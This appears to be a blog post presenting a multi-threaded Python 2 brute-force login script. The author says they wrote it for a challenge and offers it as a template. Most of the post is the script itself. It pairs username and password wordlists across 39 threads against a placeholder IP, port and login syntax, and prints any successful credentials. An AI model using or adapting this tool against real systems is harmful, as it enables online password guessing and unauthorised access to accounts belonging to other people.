Multi-Threaded Brute Forcer

Multi-Threaded Brute Forcer

Recently I undertook a challenge that needed attempt a brute force login on an application. I quickly wrote up a brute forcing script that took advantage of threads to increase the rate of attempts. This application is not usable ‘as is’ because of course you’ll need to modify and enter your own IP address and login syntax. Otherwise it should be useful as a template to threadify any tasks you wish to complete.

The logic of the script is to read in a list of username and password values, then push the usernames onto a queue. Each username (handled by an individual thread) goes through and tests each of the passwords in the list against the application. If the text that appears in a failed login appears it will print the failed message, otherwise it will print login successful.

#!/usr/bin/python

import threading

import Queue

import socket

usernameList = open('users.txt','r').read().splitlines()

passwordList = open('passwords.txt','r').read().splitlines()

class WorkerThread(threading.Thread) :

 def __init__(self, queue, tid) :

  threading.Thread.__init__(self)

  self.queue = queue

  self.tid = tid

 def run(self) :

  while True :

   username = None

   try :

    username = self.queue.get(timeout=1)

   except  Queue.Empty :

    return

   try :

    for password in passwordList:

                                 tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

                                 tcpSocket.connect(('### IP Address ###',### Port ###))

                                 tcpSocket.recv(1024)

                                 tcpSocket.send("### Syntax that allows login ###")

                                 if '### Fail Response ###' in tcpSocket.recv(1024):

                                         tcpSocket.close()

                                         print "Failed " + username + "/" + password

                                 else:

                                         print "[+] Successful Login! Username: " + username + " Password: " + password

   except :

    raise

   self.queue.task_done()

queue = Queue.Queue()

threads = []

for i in range(1, 40) : # Number of threads

 worker = WorkerThread(queue, i)

 worker.setDaemon(True)

 worker.start()

 threads.append(worker)

for username in usernameList :

 queue.put(username)     # Push usernames onto queue

queue.join()

# wait for all threads to exit

for item in threads :

 item.join()

print "Testing Complete!"